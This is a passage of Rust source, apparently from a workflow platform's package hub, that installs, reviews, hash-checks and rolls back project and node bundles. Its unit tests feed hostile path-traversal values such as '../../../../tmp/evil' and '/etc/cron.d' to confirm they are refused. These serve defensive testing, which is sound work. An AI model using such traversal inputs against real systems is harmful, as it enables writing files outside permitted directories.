Some(HubPackageFileSupply::Referenced(artifact)) => {
artifacts.resolve(&entry.rel_path, artifact, entry.size_bytes)
}
None => Err(PlatformError::new(
"HUB_INSTALL",
format!(
"file '{}' declares neither carried content nor a referenced artifact",
entry.rel_path
),
)),
}
}
fn prepare_hub_install_entries(
placement: &HubInstallPlacement,
install_base: &Path,
files: &[HubPackageFile],
artifacts: &HubArtifactChannel,
) -> Result<Vec<PreparedHubInstallEntry>, PlatformError> {
let mut seen = HashSet::new();
let mut prepared = Vec::with_capacity(files.len());
for entry in files {
let install_rel = placement.destination(&entry.rel_path);
if !seen.insert(install_rel.clone()) {
return Err(PlatformError::new(
"HUB_INSTALL",
format!("package contains duplicate destination '{install_rel}'"),
));
}
let destination = install_base.join(&install_rel);
if !destination.starts_with(install_base) {
return Err(PlatformError::new(
"HUB_INSTALL",
format!("destination '{install_rel}' escapes the install root"),
));
}
let previous = match std::fs::symlink_metadata(&destination) {
Ok(metadata) if metadata.file_type().is_symlink() => {
return Err(PlatformError::new(
"HUB_INSTALL",
format!("destination '{install_rel}' is a symbolic link"),
));
}
Ok(metadata) if !metadata.is_file() => {
return Err(PlatformError::new(
"HUB_INSTALL",
format!("destination '{install_rel}' is not a regular file"),
));
}
Ok(_) => Some(std::fs::read(&destination)?),
Err(error) if error.kind() == std::io::ErrorKind::NotFound => None,
Err(error) => return Err(error.into()),
};
prepared.push(PreparedHubInstallEntry {
install_rel,
destination,
bytes: hub_entry_bytes(entry, artifacts)?,
previous,
});
}
Ok(prepared)
}
fn refuse_prepared_install_violations(
layout: &ResolvedProjectLayout,
asset_kind: &str,
entries: &[PreparedHubInstallEntry],
) -> Result<(), PlatformError> {
let policy_entries = entries
.iter()
.map(|entry| {
PackagePolicyEntry::from_bytes(
&entry.install_rel,
file_kind_from_path(Path::new(&entry.install_rel)),
entry.bytes.len(),
&entry.bytes,
)
})
.collect::<Vec<_>>();
let review = review_package_entries(
layout,
&policy_entries,
Vec::new(),
PackageReviewOptions {
bundle_internal_paths: asset_kind == HUB_ASSET_KIND_NODE_BUNDLE,
..PackageReviewOptions::default()
},
);
if !review.is_installable() {
return Err(PlatformError::new(
"HUB_INSTALL_REFUSED",
format!(
"package cannot be installed: {}",
review.violations.join("; ")
),
));
}
Ok(())
}
fn validate_prepared_pipeline_sources(
layout: &ResolvedProjectLayout,
asset_kind: &str,
entries: &[PreparedHubInstallEntry],
) -> Result<(), PlatformError> {
if asset_kind == HUB_ASSET_KIND_NODE_BUNDLE {
return Ok(());
}
for entry in entries
.iter()
.filter(|entry| layout.is_pipeline_rel_path(&entry.install_rel))
{
decode_pipeline_graph(&entry.bytes).map_err(|error| {
PlatformError::new(
"HUB_INSTALL",
format!(
"invalid pipeline '{}': {} ({})",
entry.install_rel,
error,
error.category()
),
)
})?;
}
Ok(())
}
fn restore_hub_install_entries(
install_base: &Path,
entries: &[PreparedHubInstallEntry],
) -> Result<(), PlatformError> {
let mut errors = Vec::new();
for entry in entries.iter().rev() {
let result = match &entry.previous {
Some(previous) => atomic_write(&entry.destination, previous),
None => durable_remove_file(&entry.destination),
};
if let Err(error) = result {
errors.push(format!("{}: {error}", entry.install_rel));
}
}
for entry in entries.iter().filter(|entry| entry.previous.is_none()) {
let mut parent = entry.destination.parent();
while let Some(path) = parent {
if path == install_base || !path.starts_with(install_base) {
break;
}
match std::fs::remove_dir(path) {
Ok(()) => parent = path.parent(),
Err(error)
if matches!(
error.kind(),
std::io::ErrorKind::NotFound | std::io::ErrorKind::DirectoryNotEmpty
) =>
{
break;
}
Err(error) => {
errors.push(format!("{}: {error}", path.display()));
break;
}
}
}
}
if errors.is_empty() {
Ok(())
} else {
Err(PlatformError::new(
"HUB_INSTALL_RECOVERY",
format!("failed restoring package files: {}", errors.join("; ")),
))
}
}
fn parse_hub_artifact_bytes(
bytes: &[u8],
error_code: &'static str,
) -> Result<HubPackageSpec, PlatformError> {
decode_hub_package(bytes)
.map(|document| document.spec)
.map_err(|err| PlatformError::new(error_code, format!("{} ({})", err, err.category())))
}
fn parse_local_node_bundle_artifact(
value: Value,
error_code: &'static str,
) -> Result<HubPackageSpec, PlatformError> {
require_node_bundle_kind(parse_hub_artifact_value(value, error_code)?, error_code)
}
fn read_local_node_bundle_document(
document_path: &Path,
error_code: &'static str,
) -> Result<HubPackageSpec, PlatformError> {
let metadata = fs::metadata(document_path)?;
if !metadata.is_file() {
return Err(PlatformError::new(
error_code,
format!("'{}' is not a file", document_path.display()),
));
}
if metadata.len() > MAX_REMOTE_HUB_ARTIFACT_BYTES {
return Err(PlatformError::new(
error_code,
format!(
"'{}' exceeds the package document limit",
document_path.display()
),
));
}
let raw = fs::read(document_path)?;
require_node_bundle_kind(parse_hub_artifact_bytes(&raw, error_code)?, error_code)
}
fn require_node_bundle_kind(
payload: HubPackageSpec,
error_code: &'static str,
) -> Result<HubPackageSpec, PlatformError> {
if payload.asset_kind != HUB_ASSET_KIND_NODE_BUNDLE {
return Err(PlatformError::new(
error_code,
format!(
"this endpoint installs node bundles; the package declares asset_kind '{}'",
payload.asset_kind
),
));
}
Ok(payload)
}
fn parse_hub_artifact_value(
value: Value,
error_code: &'static str,
) -> Result<HubPackageSpec, PlatformError> {
decode_contract_value::<HubPackageContract>(value)
.map(|document| document.spec)
.map_err(|err| PlatformError::new(error_code, format!("{} ({})", err, err.category())))
}
fn encode_hub_artifact(
package_id: &str,
version: &str,
artifact: &HubPackageSpec,
error_code: &'static str,
) -> Result<Vec<u8>, PlatformError> {
let mut metadata = ContractMetadata::named(package_id);
metadata.version = Some(version.to_string());
encode_hub_package(metadata, artifact.clone())
.map_err(|err| PlatformError::new(error_code, format!("{} ({})", err, err.category())))
}
fn verify_hub_artifact_bytes(bytes: &[u8], expected: &str) -> Result<(), PlatformError> {
let actual = sha256_hex(bytes);
if actual == expected {
return Ok(());
}
Err(PlatformError::new(
"HUB_ARTIFACT_INTEGRITY",
format!("hub artifact hash mismatch: expected {expected}, got {actual}"),
))
}
fn project_bundle_base_slug(package_id: &str) -> Result<String, PlatformError> {
let base = slug_segment(package_id);
if base.is_empty() {
return Err(PlatformError::new(
"HUB_REMOTE_INVALID",
"package id is not a valid project slug",
));
}
Ok(base)
}
fn project_bundle_slug_candidate(base: &str, suffix: usize) -> String {
if suffix == 1 {
base.to_string()
} else {
format!("{base}-{suffix}")
}
}
#[derive(Debug, Clone)]
struct PlannedProjectBundleEntry {
destination: String,
bytes: Vec<u8>,
}
#[derive(Debug)]
struct PlannedPipelineRegistration {
identity: String,
description: String,
trigger_kind: String,
source: String,
}
#[derive(Debug)]
struct ProjectBundleInstallPlan {
safety: PackageSafetyReview,
destinations: Vec<String>,
skipped_files: Vec<String>,
initial_data: Vec<HubPackageInitialDataStep>,
unexecuted_initial_data: Vec<String>,
database_initialization: Vec<DatabaseInitializationReport>,
prepared: Result<PreparedProjectBundle, PlatformError>,
}
#[derive(Debug)]
struct PreparedProjectBundle {
entries: Vec<PlannedProjectBundleEntry>,
registrations: Vec<PlannedPipelineRegistration>,
pipelines_activated: Vec<String>,
pipelines_not_activated: Vec<String>,
configuration: (usize, ContractDocument<ProjectConfigurationSpec>),
lock: Option<(usize, ContractDocument<DependencyLockSpec>)>,
}
impl ProjectBundleInstallPlan {
fn build(
artifact: &HubPackageSpec,
artifacts: &HubArtifactChannel,
scope: HubInstallScope,
) -> Result<Self, PlatformError> {
scope.validate()?;
if validate_hub_asset_kind(&artifact.asset_kind)? != HUB_ASSET_KIND_PROJECT_BUNDLE {
return Err(PlatformError::new(
"HUB_REMOTE_INVALID",
"platform hub install only supports project bundles",
));
}
let layout = publisher_layout(artifact);
let placement = HubInstallPlacement::whole_project();
let safety = review_project_bundle_entries(&layout, &artifact.files, artifacts);
let mut kept = Vec::new();
let mut skipped_files = Vec::new();
for file in &artifact.files {
let destination = placement.destination(&file.rel_path);
if install_entry_is_in_scope(&layout, &destination, scope) {
kept.push((destination, file));
} else {
skipped_files.push(destination);
}
}
skipped_files.sort();
let destinations = kept
.iter()
.map(|(destination, _)| destination.clone())
.collect::<Vec<_>>();
let installed = destinations.iter().cloned().collect::<BTreeSet<_>>();
let database_initialization = safety
.database_initialization
.iter()
.filter(|report| installed.contains(&normalize_repo_rel(&report.source)))
.cloned()
.collect();
let initial_data = artifact.project_initialization.initial_data.clone();
let unexecuted_initial_data = if scope.include_schema && !scope.execute_schema {
initial_data.iter().map(|step| step.path.clone()).collect()
} else {
Vec::new()
};
let prepared = match refuse_unreviewable_project_bundle(&safety) {
Ok(()) => Ok(PreparedProjectBundle::build(
&layout,
&kept,
artifacts,
&artifact.active_pipelines,
)?),
Err(refusal) => Err(refusal),
};
Ok(Self {
safety,
destinations,
skipped_files,
initial_data,
unexecuted_initial_data,
database_initialization,
prepared,
})
}
fn accept(&self) -> Result<&PreparedProjectBundle, PlatformError> {
self.prepared.as_ref().map_err(|refusal| refusal.clone())
}
fn pipeline_identities(&self) -> Vec<String> {
self.prepared
.as_ref()
.map(PreparedProjectBundle::pipeline_identities)
.unwrap_or_default()
}
fn pipelines_activated(&self) -> Vec<String> {
self.prepared
.as_ref()
.map(|prepared| prepared.pipelines_activated.clone())
.unwrap_or_default()
}
fn pipelines_not_activated(&self) -> Vec<String> {
self.prepared
.as_ref()
.map(|prepared| prepared.pipelines_not_activated.clone())
.unwrap_or_default()
}
}
impl PreparedProjectBundle {
fn build(
layout: &ResolvedProjectLayout,
kept: &[(String, &HubPackageFile)],
artifacts: &HubArtifactChannel,
active_pipelines: &[String],
) -> Result<Self, PlatformError> {
let mut entries: Vec<PlannedProjectBundleEntry> = Vec::with_capacity(kept.len());
let mut registrations = Vec::new();
let mut configuration = None;
let mut lock = None;
for (destination, file) in kept {
let bytes = hub_entry_bytes(file, artifacts)?;
let index = entries.len();
if destination == PROJECT_CONFIGURATION_FILE {
if configuration.is_some() {
return Err(PlatformError::new(
"HUB_INSTALL",
"project bundle contains more than one zebflow.yaml",
));
}
configuration = Some((index, decode_bundle_configuration(file, &bytes)?));
} else if destination == DEPENDENCY_LOCK_FILE {
if lock.is_some() {
return Err(PlatformError::new(
"HUB_INSTALL",
"project bundle contains more than one zeb.lock",
));
}
lock = Some((index, decode_bundle_dependency_lock(file, &bytes)?));
} else if layout.is_pipeline_rel_path(destination)
&& let Some(registration) =
planned_pipeline_registration(layout, destination, &bytes)
{
registrations.push(registration);
}
entries.push(PlannedProjectBundleEntry {
destination: destination.clone(),
bytes,
});
}
let configuration = configuration.ok_or_else(|| {
PlatformError::new("HUB_INSTALL", "project bundle is missing zebflow.yaml")
})?;
let registered = registrations
.iter()
.map(|registration| registration.identity.clone())
.collect::<BTreeSet<_>>();
let mut pipelines_activated = Vec::new();
let mut pipelines_not_activated = Vec::new();
for named in active_pipelines {
let normalized = normalize_repo_rel(named);
if normalized.is_empty() || !normalized.ends_with(PIPELINE_DEFINITION_EXTENSION) {
continue;
}
let identity = normalize_pipeline_file_rel_path(layout, &normalized);
if registered.contains(&identity) {
pipelines_activated.push(identity);
} else {
pipelines_not_activated.push(identity);
}
}
Ok(Self {
entries,
registrations,
pipelines_activated,
pipelines_not_activated,
configuration,
lock,
})
}
fn pipeline_identities(&self) -> Vec<String> {
self.registrations
.iter()
.map(|registration| registration.identity.clone())
.collect()
}
fn retargeted_entries(
&self,
project: &str,
) -> Result<Vec<PlannedProjectBundleEntry>, PlatformError> {
let mut entries = self.entries.clone();
let (index, document) = &self.configuration;
let mut metadata = document.metadata.clone();
metadata.name = project.to_string();
entries[*index].bytes = crate::contracts::encode_contract_yaml::<
ProjectConfigurationContract,
>(metadata, document.spec.clone())
.map_err(|err| PlatformError::new("HUB_INSTALL", err.to_string()))?;
if let Some((index, document)) = &self.lock {
let mut metadata = document.metadata.clone();
metadata.name = project.to_string();
entries[*index].bytes =
encode_contract::<DependencyLockContract>(metadata, document.spec.clone())
.map_err(|err| PlatformError::new("HUB_INSTALL", err.to_string()))?;
}
Ok(entries)
}
}
fn review_project_bundle_entries(
layout: &ResolvedProjectLayout,
files: &[HubPackageFile],
artifacts: &HubArtifactChannel,
) -> PackageSafetyReview {
let placement = HubInstallPlacement::whole_project();
let entries = files
.iter()
.map(|file| package_policy_entry(&placement.destination(&file.rel_path), file, artifacts))
.collect::<Vec<_>>();
review_package_entries(
layout,
&entries,
Vec::new(),
PackageReviewOptions::default(),
)
}
fn planned_pipeline_registration(
layout: &ResolvedProjectLayout,
destination: &str,
bytes: &[u8],
) -> Option<PlannedPipelineRegistration> {
let source = String::from_utf8(bytes.to_vec()).ok()?;
let description = decode_pipeline_graph(source.as_bytes())
.ok()
.and_then(|document| document.spec.description)
.unwrap_or_default();
let trigger_kind = derive_trigger_kind_from_source(&source).unwrap_or_default();
Some(PlannedPipelineRegistration {
identity: normalize_pipeline_file_rel_path(layout, destination),
description,
trigger_kind,
source,
})
}
fn decode_bundle_configuration(
file: &HubPackageFile,
bytes: &[u8],
) -> Result<ContractDocument<ProjectConfigurationSpec>, PlatformError> {
require_carried_text_entry(file, "zebflow.yaml")?;
crate::contracts::decode_contract_yaml::<ProjectConfigurationContract>(bytes)
.map_err(|err| PlatformError::new("HUB_INSTALL", format!("invalid zebflow.yaml: {err}")))
}
fn decode_bundle_dependency_lock(
file: &HubPackageFile,
bytes: &[u8],
) -> Result<ContractDocument<DependencyLockSpec>, PlatformError> {
require_carried_text_entry(file, "zeb.lock")?;
decode_contract::<DependencyLockContract>(bytes)
.map_err(|err| PlatformError::new("HUB_INSTALL", format!("invalid zeb.lock: {err}")))
}
fn require_carried_text_entry(file: &HubPackageFile, name: &str) -> Result<(), PlatformError> {
match file.supply() {
Some(HubPackageFileSupply::Carried(_)) if file.encoding != "base64" => Ok(()),
_ => Err(PlatformError::new(
"HUB_INSTALL",
format!("{name} must be a carried text entry"),
)),
}
}
fn refuse_unreviewable_project_bundle(review: &PackageSafetyReview) -> Result<(), PlatformError> {
if review.is_installable() {
return Ok(());
}
Err(PlatformError::new(
"HUB_REMOTE_INSTALL_REFUSED",
format!(
"project bundle cannot be installed: {}",
review.violations.join("; ")
),
))
}
fn install_entry_is_schema(layout: &ResolvedProjectLayout, rel_path: &str) -> bool {
let rel = normalize_repo_rel(rel_path);
layout.is_schema_rel_path(&rel)
|| layout.is_sqlite_schema_rel_path(&rel)
|| initial_data_engine_for_path(layout, &rel).is_some()
}
fn install_entry_is_project_configuration(rel_path: &str) -> bool {
let rel = normalize_repo_rel(rel_path);
rel == PROJECT_CONFIGURATION_FILE || rel == DEPENDENCY_LOCK_FILE || rel == "zebflow.init.json"
}
fn install_entry_is_in_scope(
layout: &ResolvedProjectLayout,
destination: &str,
scope: HubInstallScope,
) -> bool {
if install_entry_is_project_configuration(destination) {
return true;
}
if install_entry_is_schema(layout, destination) {
return scope.include_schema;
}
scope.include_code
}
fn entry_text(entry: &HubPackageFile) -> Option<String> {
let HubPackageFileSupply::Carried(content) = entry.supply()? else {
return None;
};
if entry.encoding == "base64" {
let bytes = base64::engine::general_purpose::STANDARD
.decode(content)
.ok()?;
return String::from_utf8(bytes).ok();
}
Some(content.to_string())
}
fn entry_review_bytes<'a>(
entry: &'a HubPackageFile,
artifacts: &HubArtifactChannel,
) -> Result<Cow<'a, [u8]>, String> {
match entry.supply() {
Some(HubPackageFileSupply::Carried(content)) if entry.encoding == "base64" => {
base64::engine::general_purpose::STANDARD
.decode(content)
.map(Cow::Owned)
.map_err(|error| format!("base64 content does not decode: {error}"))
}
Some(HubPackageFileSupply::Carried(content)) => Ok(Cow::Borrowed(content.as_bytes())),
Some(HubPackageFileSupply::Referenced(artifact)) => artifacts
.resolve(&entry.rel_path, artifact, entry.size_bytes)
.map(Cow::Owned)
.map_err(|error| error.to_string()),
None => {
Err("the entry declares neither carried content nor a referenced artifact".to_string())
}
}
}
fn package_policy_entry(
rel_path: &str,
entry: &HubPackageFile,
artifacts: &HubArtifactChannel,
) -> PackagePolicyEntry {
match entry_review_bytes(entry, artifacts) {
Ok(bytes) => {
PackagePolicyEntry::from_bytes(rel_path, &entry.kind, entry.size_bytes, &bytes)
}
Err(reason) => {
PackagePolicyEntry::unresolved(rel_path, &entry.kind, entry.size_bytes, reason)
}
}
}
fn install_risk_level(policy: &PackageSafetyReview, has_overwrites: bool) -> String {
if !policy.violations.is_empty() {
return PolicyRiskLevel::Blocked.as_str().to_string();
}
let mut risk_score = 0;
if has_overwrites {
risk_score += 2;
}
if !policy.credentials_required.is_empty() {
risk_score += 1;
}
if !policy.external_urls.is_empty() {
risk_score += 1;
}
if !policy.database_effects.is_empty() {
risk_score += 2;
}
if !policy.filesystem_effects.is_empty() {
risk_score += 1;
}
if !policy.network_effects.is_empty() {
risk_score += 1;
}
if !policy.code_execution.is_empty() {
risk_score += 1;
}
if !policy.public_endpoints.is_empty() || !policy.schedules.is_empty() {
risk_score += 2;
}
if !policy.large_files.is_empty() || !policy.seed_data.is_empty() {
risk_score += 1;
}
if risk_score >= 4 {
"high".to_string()
} else if risk_score >= 2 {
"medium".to_string()
} else {
"low".to_string()
}
}
fn initial_data_engine_for_path<'a>(
layout: &'a ResolvedProjectLayout,
rel_path: &str,
) -> Option<&'a str> {
initial_data_engine_for_rel_path(layout, &normalize_repo_rel(rel_path))
}
fn initial_data_step_from_entry(
layout: &ResolvedProjectLayout,
entry: &HubPackageFile,
) -> Option<HubPackageInitialDataStep> {
let rel = normalize_repo_rel(&entry.rel_path);
let engine = initial_data_engine_for_path(layout, &rel)?;
let sql = entry_text(entry)?;
Some(HubPackageInitialDataStep {
engine: engine.to_string(),
path: rel,
statement_count: split_initial_data_sql(&sql).len(),
size_bytes: entry.size_bytes,
})
}
fn create_table_if_not_exists(stmt: &str) -> String {
let trimmed = stmt.trim_start();
let mut words = trimmed.split_whitespace();
let is_create_table = words.next().is_some_and(|w| w.eq_ignore_ascii_case("CREATE"))
&& words.next().is_some_and(|w| w.eq_ignore_ascii_case("TABLE"));
if !is_create_table {
return stmt.to_string();
}
let already = words.next().is_some_and(|w| w.eq_ignore_ascii_case("IF"));
if already {
return stmt.to_string();
}
let after_create = trimmed[6..].trim_start();
let after_table = after_create[5..].trim_start();
format!("CREATE TABLE IF NOT EXISTS {after_table}")
}
fn execute_project_initial_data(
data_root: &Path,
owner: &str,
project: &str,
layout: &ProjectFileLayout,
steps: &[HubPackageInitialDataStep],
) -> Result<(), PlatformError> {
for step in steps {
let rel = normalize_repo_rel(&step.path);
let Some(engine) = initial_data_engine_for_path(&layout.repo_layout, &rel) else {
return Err(PlatformError::new(
"HUB_INITIAL_DATA_INVALID",
format!("initial data path '{}' is not allowed", step.path),
));
};
if engine != step.engine {
return Err(PlatformError::new(
"HUB_INITIAL_DATA_INVALID",
format!(
"initial data path '{}' does not match engine '{}'",
step.path, step.engine
),
));
}
let path = sanitize_install_repo_path(layout, &rel)?;
let sql = fs::read_to_string(&path)?;
match engine {
"sekejap" => {
for stmt in split_initial_data_sql(&sql) {
let stmt = create_table_if_not_exists(&stmt);
sekejap::execute_sql(data_root, owner, project, &stmt, &[], 0, false)?;
}
}
"sqlite" => {
sqlite_schema::execute_sql(data_root, owner, project, &sql)?;
}
_ => {
return Err(PlatformError::new(
"HUB_INITIAL_DATA_INVALID",
format!("unsupported initial data engine '{}'", engine),
));
}
}
}
Ok(())
}
fn collect_initial_data_steps(
layout: &ResolvedProjectLayout,
repo_dir: &Path,
dir: &Path,
engine: &str,
steps: &mut Vec<HubPackageInitialDataStep>,
) -> Result<(), PlatformError> {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
if path.is_dir() {
collect_initial_data_steps(layout, repo_dir, &path, engine, steps)?;
continue;
}
if path
.extension()
.and_then(|value| value.to_str())
.map(|value| value.eq_ignore_ascii_case("sql"))
!= Some(true)
{
continue;
}
let rel = path
.strip_prefix(repo_dir)
.map_err(|err| PlatformError::new("HUB_INITIAL_DATA", err.to_string()))?;
let rel = normalize_repo_rel(&rel.to_string_lossy());
if initial_data_engine_for_path(layout, &rel) != Some(engine) {
continue;
}
let sql = fs::read_to_string(&path)?;
let size_bytes = sql.len();
steps.push(HubPackageInitialDataStep {
engine: engine.to_string(),
path: rel,
statement_count: split_initial_data_sql(&sql).len(),
size_bytes,
});
}
Ok(())
}
fn sanitize_hub_export_entries(entries: &mut [HubPackageFile]) -> Result<(), PlatformError> {
for entry in entries.iter_mut() {
if normalize_repo_rel(&entry.rel_path)
!= crate::contracts::kinds::PROJECT_CONFIGURATION_FILE
{
continue;
}
let Some(HubPackageFileSupply::Carried(source)) =
entry.supply().filter(|_| entry.encoding != "base64")
else {
return Err(PlatformError::new(
"HUB_PUBLISH",
"zebflow.yaml must be a carried text entry",
));
};
let mut document = crate::contracts::decode_contract_yaml::<ProjectConfigurationContract>(
source.as_bytes(),
)
.map_err(|err| PlatformError::new("HUB_PUBLISH", format!("invalid zebflow.yaml: {err}")))?;
let cfg = &mut document.spec;
cfg.distribution.hub.producer_enabled = false;
let content = String::from_utf8(
crate::contracts::encode_contract_yaml::<ProjectConfigurationContract>(
document.metadata,
document.spec,
)
.map_err(|err| PlatformError::new("HUB_PUBLISH", err.to_string()))?,
)
.map_err(|err| PlatformError::new("HUB_PUBLISH", err.to_string()))?;
entry.size_bytes = content.len();
entry.content = Some(content);
}
Ok(())
}
fn infer_pipeline_meta(source: &str, install_rel: &str) -> (String, String) {
let fallback_title = Path::new(install_rel)
.file_stem()
.and_then(|v| v.to_str())
.unwrap_or("Imported Pipeline")
.replace(".zf", "")
.replace('-', " ");
let Ok(document) = decode_pipeline_graph(source.as_bytes()) else {
return (fallback_title, "webhook".to_string());
};
let trigger_kind = document
.spec
.nodes
.iter()
.find_map(|node| {
node.kind
.strip_prefix("n.trigger.")
.map(ToString::to_string)
})
.unwrap_or_else(|| "webhook".to_string());
(fallback_title, trigger_kind)
}
#[cfg(test)]
mod tests {
use super::*;
const PROJECT_CONFIGURATION_FIXTURE: &str =
include_str!("../../../tests/fixtures/contracts/project-configuration/v1-complete.yaml");
#[test]
fn hub_export_rejects_malformed_project_configuration() {
let mut entries = vec![text_export_entry(
crate::contracts::kinds::PROJECT_CONFIGURATION_FILE,
"project_configuration",
"test",
"not: [valid".to_string(),
)];
assert!(sanitize_hub_export_entries(&mut entries).is_err());
assert!(
rewrite_project_libraries(
&mut build_preview(
"project_bundle".to_string(),
"project".to_string(),
"project".to_string(),
"Project".to_string(),
String::new(),
entries,
Vec::new(),
),
&[]
)
.is_err()
);
}
#[test]
fn hub_export_sanitizes_project_configuration_through_the_contract() {
let mut entries = vec![text_export_entry(
crate::contracts::kinds::PROJECT_CONFIGURATION_FILE,
"project_configuration",
"test",
PROJECT_CONFIGURATION_FIXTURE.to_string(),
)];
sanitize_hub_export_entries(&mut entries).unwrap();
let document = crate::contracts::decode_contract_yaml::<ProjectConfigurationContract>(
entries[0]
.content
.as_deref()
.expect("carried entry")
.as_bytes(),
)
.unwrap();
assert!(!document.spec.distribution.hub.producer_enabled);
}
#[test]
fn project_bundle_install_retargets_project_configuration_identity() {
let configured = configuration_only_bundle(&[text_export_entry(
PROJECT_CONFIGURATION_FILE,
"project_configuration",
"test",
PROJECT_CONFIGURATION_FIXTURE.to_string(),
)]);
let plan =
ProjectBundleInstallPlan::build(&configured, &no_channel(), HubInstallScope::default())
.expect("a bundle carrying a configuration plans");
let entries = plan
.accept()
.expect("the bundle is installable")
.retargeted_entries("installed-project")
.expect("the configuration is rewritten");
let document = crate::contracts::decode_contract_yaml::<ProjectConfigurationContract>(
&entries[0].bytes,
)
.unwrap();
assert_eq!(document.metadata.name, "installed-project");
let error = ProjectBundleInstallPlan::build(
&configuration_only_bundle(&[]),
&no_channel(),
HubInstallScope::default(),
)
.expect_err("a bundle with no configuration cannot be planned");
assert_eq!(error.message, "project bundle is missing zebflow.yaml");
}
#[test]
fn a_target_folder_full_of_traversal_cannot_leave_the_repository() {
let layout = ResolvedProjectLayout::platform_default();
let install_base = std::path::Path::new("/srv/zebflow/users/alice/shop/repo");
for hostile in [
"../../../../tmp/evil",
"billing/../../../../tmp/evil",
"/etc/cron.d",
"..\\..\\tmp\\evil",
"./../../secrets",
] {
let root = install_root_for_target_folder(
&layout,
"some-package",
HUB_ASSET_KIND_PROJECT_BUNDLE,
hostile,
);
assert!(
!root.contains(".."),
"target_folder '{hostile}' produced install root '{root}'"
);
let destination = install_base.join(&root).join("pipelines/evil.zf.json");
assert!(
destination.starts_with(install_base),
"target_folder '{hostile}' escaped to {}",
destination.display()
);
assert!(
!destination.to_string_lossy().contains(".."),
"target_folder '{hostile}' escaped to {}",
destination.display()
);
}
}
#[test]
fn an_artifact_path_that_leaves_the_repository_is_refused() {
let root = tempfile::tempdir().unwrap();
let config = Arc::new(
crate::platform::services::project_config::ProjectConfigurationService::new(
root.path().join("users"),
),
);
let file = crate::platform::adapters::file::FilesystemFileAdapter::new(
root.path().join("users"),
config,
);
crate::platform::adapters::file::FileAdapter::initialize(&file).unwrap();
let layout = crate::platform::adapters::file::FileAdapter::ensure_project_layout(
&file, "alice", "shop",
)
.unwrap();
let error = sanitize_install_repo_path(&layout, "../../../../tmp/evil.tsx")
.expect_err("traversal is refused");
assert_eq!(error.code, "HUB_INSTALL");
assert!(error.message.contains("escaped repo root"), "{error:?}");
let ok = sanitize_install_repo_path(&layout, "./src/pages/index.tsx").unwrap();
assert!(ok.starts_with(&layout.repo_dir));
assert!(ok.ends_with("src/pages/index.tsx"));
}
fn configuration_only_bundle(files: &[HubPackageFile]) -> HubPackageSpec {
HubPackageSpec {
asset_kind: HUB_ASSET_KIND_PROJECT_BUNDLE.to_string(),
title: "Configured".to_string(),
description: "A bundle carrying only its own configuration.".to_string(),
layout: None,
active_pipelines: Vec::new(),
project_initialization: HubPackageInitialization::default(),
files: files.to_vec(),
}
}
#[test]
fn hub_artifact_rejects_missing_and_future_schema() {
let missing = serde_json::json!({
"kind": "HubPackage",
"metadata": {"name": "example", "version": "1.0.0"},
"spec": {"asset_kind": "pipeline_bundle"}
});
let err = parse_hub_artifact_value(missing, "TEST_HUB").unwrap_err();
assert_eq!(err.code, "TEST_HUB");
assert!(
err.message
.contains("missing required root field 'apiVersion'")
);
let future = serde_json::json!({
"apiVersion": "zebflow.com/v2",
"kind": "HubPackage",
"metadata": {"name": "example", "version": "1.0.0"},
"spec": {}
});
let err = parse_hub_artifact_value(future, "TEST_HUB").unwrap_err();
assert_eq!(err.code, "TEST_HUB");
assert!(err.message.contains("unsupported apiVersion"));
}
fn wasm_node_entry(kind: &str, title: &str, export: &str) -> serde_json::Value {
serde_json::json!({
"kind": kind,
"title": title,
"description": "E2E WASM node used by installation and runtime tests.",
"icon": "",
"ui_category": "wasm.e2e",
"ui_category_label": "WASM E2E",
"uses_credentials": [],
"run": { "module": "core", "export": export },
"definition": {
"input_pins": ["in"],
"output_pins": ["out"],
"config_schema": { "type": "object" },
"input_schema": {},
"output_schema": {},
"examples": [],
"failure_semantics": [],
"fields": [],
"layout": [],
"dsl_flags": []
}
})
}
#[test]
fn a_local_bundle_installs_through_the_same_review_and_installer() {
use base64::Engine as _;
let root = tempfile::tempdir().unwrap();
let platform = crate::platform::services::PlatformService::from_config(
crate::platform::model::PlatformConfig {
data_root: root.path().to_path_buf(),
default_password: "test-password".to_string(),
..Default::default()
},
)
.unwrap();
let owner = "superadmin";
let project = "default";
let module =
include_bytes!("../../../tests/fixtures/contracts/node-bundle/two-exports.wasm");
let definition = serde_json::json!({
"apiVersion": "zebflow.com/v1",
"kind": "NodeBundle",
"metadata": { "name": "localpkg", "version": "1.0.0" },
"spec": {
"package": "localpkg",
"version": "1.0.0",
"title": "Local Package",
"description": "Installed from a file rather than from a Hub.",
"icon": "icon.svg",
"credentials": [],
"hosts": [],
"functions": {},
"modules": {
"core": { "path": "wasm/core.wasm", "abi": "zebflow-wasm-json-v1" }
},
"nodes": [wasm_node_entry("n.x.localpkg.train", "Train", "e2e_train")]
}
})
.to_string();
let icon = "<svg xmlns=\"http://www.w3.org/2000/svg\"/>";
let artifact = serde_json::json!({
"apiVersion": "zebflow.com/v1",
"kind": "HubPackage",
"metadata": { "name": "localpkg", "version": "1.0.0" },
"spec": {
"asset_kind": "node_bundle",
"title": "Local Package",
"description": "Installed from a file rather than from a Hub.",
"files": [
{ "rel_path": "definition.json", "kind": "node_definition",
"size_bytes": definition.len(), "reason": "local", "content": definition },
{ "rel_path": "icon.svg", "kind": "asset",
"size_bytes": icon.len(), "reason": "local", "content": icon },
{ "rel_path": "wasm/core.wasm", "kind": "asset",
"size_bytes": module.len(), "reason": "local", "encoding": "base64",
"content": base64::engine::general_purpose::STANDARD.encode(module) }
]
}
});
let review = platform
.hub
.review_local_node_bundle(owner, project, "localpkg", "1.0.0", "", artifact.clone())
.expect("review succeeds");
assert_eq!(review.asset_kind, "node_bundle");
assert!(review.installable, "nothing blocks this package");
assert!(review.violations.is_empty());
assert!(
review
.files_added
.iter()
.any(|f| f.ends_with("definition.json")),
"the review reports what would be written"
);
platform
.hub
.install_local_node_bundle(owner, project, "localpkg", "1.0.0", "", artifact)
.expect("install succeeds");
let installed = platform
.node_registry
.get_by_kind(owner, project, "n.x.localpkg.train")
.expect("the node is installed");
assert_eq!(
installed.manifest.source,
crate::platform::model::NodePackageSource::Wasm
);
}
#[test]
fn a_local_install_refuses_a_package_that_is_not_a_node_bundle() {
let root = tempfile::tempdir().unwrap();
let platform = crate::platform::services::PlatformService::from_config(
crate::platform::model::PlatformConfig {
data_root: root.path().to_path_buf(),
default_password: "test-password".to_string(),
..Default::default()
},
)
.unwrap();
let artifact = serde_json::json!({
"apiVersion": "zebflow.com/v1",
"kind": "HubPackage",
"metadata": { "name": "notabundle", "version": "1.0.0" },
"spec": {
